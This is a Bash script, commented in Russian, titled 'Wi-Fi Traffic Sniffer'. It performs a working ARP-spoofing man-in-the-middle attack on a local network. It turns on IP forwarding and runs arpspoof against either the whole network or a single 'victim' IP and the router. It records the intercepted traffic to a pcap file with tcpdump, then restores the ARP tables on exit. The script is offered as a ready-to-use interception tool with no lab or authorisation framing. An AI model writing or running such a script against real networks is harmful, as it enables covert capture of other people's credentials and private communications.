#!/bin/bash
# Цвета для вывода
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
# Проверка на root
if [ "$EUID" -ne 0 ]; then
echo -e "${RED}Запусти с sudo: sudo $0${NC}"
exit 1
fi
# Настройки
INTERFACE="wlan0" # Wi-Fi интерфейс (проверь через ifconfig)
TARGET_IP="" # IP жертвы (оставь пустым — вся сеть)
GATEWAY_IP="" # IP роутера (определится автоматически)
echo -e "${GREEN}=== Wi-Fi Traffic Sniffer ===${NC}"
# Включить IP форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward
# Определить шлюз, если не задан
if [ -z "$GATEWAY_IP" ]; then
GATEWAY_IP=$(ip route | grep default | awk '{print $3}')
echo -e "${YELLOW}Шлюз определён: $GATEWAY_IP${NC}"
fi
# Если цель не задана — перехватывать весь трафик в сети
if [ -z "$TARGET_IP" ]; then
echo -e "${YELLOW}Цель не задана — перехватываю ВСЮ сеть $INTERFACE${NC}"
echo -e "${RED}ВНИМАНИЕ: Это замедлит весь интернет в сети!${NC}"
# Включить сниффинг всей сети
sudo arpspoof -i $INTERFACE $GATEWAY_IP > /dev/null 2>&1 &
ARPSPOOF_PID=$!
# Захват трафика в файл
echo -e "${GREEN}Перехват трафика... Сохраняю в capture.pcap${NC}"
tcpdump -i $INTERFACE -w capture.pcap -s 0 -U &
TCPDUMP_PID=$!
else
# Перехват конкретного устройства
echo -e "${GREEN}Цель: $TARGET_IP, Шлюз: $GATEWAY_IP${NC}"
# Отравление ARP (две стороны)
sudo arpspoof -i $INTERFACE -t $TARGET_IP $GATEWAY_IP > /dev/null 2>&1 &
ARPSPOOF1_PID=$!
sudo arpspoof -i $INTERFACE -t $GATEWAY_IP $TARGET_IP > /dev/null 2>&1 &
ARPSPOOF2_PID=$!
# Захват трафика только от цели
echo -e "${GREEN}Перехват трафика от $TARGET_IP... Сохраняю в capture.pcap${NC}"
tcpdump -i $INTERFACE host $TARGET_IP -w capture.pcap -s 0 -U &
TCPDUMP_PID=$!
fi
echo -e "${YELLOW}Нажми Ctrl+C для остановки и восстановления сети${NC}"
# Ожидание прерывания
trap stop_sniff INT
stop_sniff() {
echo -e "\n${RED}Останавливаю...${NC}"
# Убить все процессы
kill $TCPDUMP_PID 2>/dev/null
kill $ARPSPOOF_PID 2>/dev/null
kill $ARPSPOOF1_PID 2>/dev/null
kill $ARPSPOOF2_PID 2>/dev/null
# Выключить IP форвардинг
echo 0 > /proc/sys/net/ipv4/ip_forward
# Очистить ARP-таблицу (восстановить связь)
arp -d $GATEWAY_IP 2>/dev/null
[ -n "$TARGET_IP" ] && arp -d $TARGET_IP 2>/dev/null
echo -e "${GREEN}Готово. Трафик сохранён в capture.pcap${NC}"
echo -e "${YELLOW}Анализ: wireshark capture.pcap${NC}"
exit 0
}
# Ждать прерывания
while true; do
sleep 1
done